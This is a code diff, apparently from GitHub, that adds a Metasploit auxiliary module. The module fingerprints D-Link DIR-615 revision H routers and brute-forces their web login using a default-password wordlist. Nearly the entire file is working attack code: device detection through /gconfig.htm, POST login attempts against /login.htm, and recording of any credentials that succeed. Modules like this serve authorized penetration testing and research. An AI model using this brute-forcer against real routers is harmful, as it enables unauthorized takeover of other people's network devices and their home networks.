|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | + |
| 9 | +require 'msf/core' |
| 10 | +require 'rex/proto/ntlm/message' |
| 11 | + |
| 12 | + |
| 13 | +class Metasploit3 < Msf::Auxiliary |
| 14 | + |
| 15 | + include Msf::Exploit::Remote::HttpClient |
| 16 | + include Msf::Auxiliary::Report |
| 17 | + include Msf::Auxiliary::AuthBrute |
| 18 | + |
| 19 | + include Msf::Auxiliary::Scanner |
| 20 | + |
| 21 | + def initialize |
| 22 | + super( |
| 23 | + 'Name' => 'DLink DIR-615H HTTP Login Utility', |
| 24 | + 'Description' => %q{ |
| 25 | + This module attempts to authenticate to different DLink HTTP management services. |
| 26 | + Tested devices: D-Link DIR-615 Hardware revision H. |
| 27 | + It is possible that this module also works with other models. |
| 28 | + }, |
| 29 | + 'Author' => [ |
| 30 | + 'hdm', #http_login module |
| 31 | + 'Michael Messner <[email protected]>' #dlink login included |
| 32 | + ], |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + [ 'CVE', '1999-0502'] # Weak password |
| 36 | + ], |
| 37 | + 'License' => MSF_LICENSE |
| 38 | + ) |
| 39 | + |
| 40 | + register_options( |
| 41 | + [ |
| 42 | + OptString.new('USERNAME', [ false, "Username for authentication (default: admin)","admin" ]), |
| 43 | + OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", |
| 44 | + File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ]), |
| 45 | + ], self.class) |
| 46 | + end |
| 47 | + |
| 48 | + def target_url |
| 49 | + proto = "http" |
| 50 | + if rport == 443 or ssl |
| 51 | + proto = "https" |
| 52 | + end |
| 53 | + "#{proto}://#{rhost}:#{rport}#{@uri.to_s}" |
| 54 | + end |
| 55 | + |
| 56 | + def run_host(ip) |
| 57 | + |
| 58 | + @uri = "/login.htm" |
| 59 | + |
| 60 | + if is_dlink? |
| 61 | + vprint_good("#{target_url} - DLink device detected") |
| 62 | + else |
| 63 | + vprint_error("#{target_url} - Dlink device doesn't detected") |
| 64 | + return |
| 65 | + end |
| 66 | + |
| 67 | + print_status("#{target_url} - Attempting to login") |
| 68 | + |
| 69 | + each_user_pass { |user, pass| |
| 70 | + do_login(user, pass) |
| 71 | + } |
| 72 | + end |
| 73 | + |
| 74 | + def is_dlink? |
| 75 | + #the tested DIR-615 has no nice Server banner, gconfig.htm gives us interesting |
| 76 | + #input to detect this device. Not sure if this works on other devices! Tested on v8.04. |
| 77 | + begin |
| 78 | + response = send_request_cgi({ |
| 79 | + 'uri' => '/gconfig.htm', |
| 80 | + 'method' => 'GET', |
| 81 | + } |
| 82 | + ) |
| 83 | + return false if response.nil? |
| 84 | + return false if (response.code == 404) |
| 85 | + |
| 86 | + #fingerprinting tested on firmware version 8.04 |
| 87 | + if response.body !~ /var\ systemName\=\'DLINK\-DIR615/ |
| 88 | + return false |
| 89 | + else |
| 90 | + return true |
| 91 | + end |
| 92 | + rescue ::Rex::ConnectionError |
| 93 | + vprint_error("#{target_url} - Failed to connect to the web server") |
| 94 | + return nil |
| 95 | + end |
| 96 | + end |
| 97 | + |
| 98 | + #default to user=admin without password (default on most dlink routers) |
| 99 | + def do_login(user='admin', pass='') |
| 100 | + vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") |
| 101 | + |
| 102 | + response = do_http_login(user,pass) |
| 103 | + result = determine_result(response) |
| 104 | + |
| 105 | + if result == :success |
| 106 | + print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") |
| 107 | + |
| 108 | + report_auth_info( |
| 109 | + :host => rhost, |
| 110 | + :port => rport, |
| 111 | + :sname => (ssl ? 'https' : 'http'), |
| 112 | + :user => user, |
| 113 | + :pass => pass, |
| 114 | + :proof => "WEBAPP=\"Dlink Management Interface\", PROOF=#{response.to_s}", |
| 115 | + :active => true |
| 116 | + ) |
| 117 | + |
| 118 | + return :next_user |
| 119 | + else |
| 120 | + vprint_error("#{target_url} - Failed to login as '#{user}'") |
| 121 | + return |
| 122 | + end |
| 123 | + end |
| 124 | + |
| 125 | + def do_http_login(user,pass) |
| 126 | + begin |
| 127 | + response = send_request_cgi({ |
| 128 | + 'uri' => @uri, |
| 129 | + 'method' => 'POST', |
| 130 | + 'vars_post' => { |
| 131 | + "page" => "login", |
| 132 | + "submitType" => "0", |
| 133 | + "identifier" => "", |
| 134 | + "sel_userid" => user, |
| 135 | + "userid" => "", |
| 136 | + "passwd" => pass, |
| 137 | + "captchapwd" => "" |
| 138 | + } |
| 139 | + }) |
| 140 | + return if response.nil? |
| 141 | + return if (response.code == 404) |
| 142 | + |
| 143 | + return response |
| 144 | + rescue ::Rex::ConnectionError |
| 145 | + vprint_error("#{target_url} - Failed to connect to the web server") |
| 146 | + return nil |
| 147 | + end |
| 148 | + end |
| 149 | + |
| 150 | + def determine_result(response) |
| 151 | + return :abort if response.nil? |
| 152 | + return :abort unless response.kind_of? Rex::Proto::Http::Response |
| 153 | + return :abort unless response.code |
| 154 | + if response.body =~ /\<script\ langauge\=\"javascript\"\>showMainTabs\(\"setup\"\)\;\<\/script\>/ |
| 155 | + return :success |
| 156 | + end |
| 157 | + return :fail |
| 158 | + end |
| 159 | + |
| 160 | +end |
0 commit comments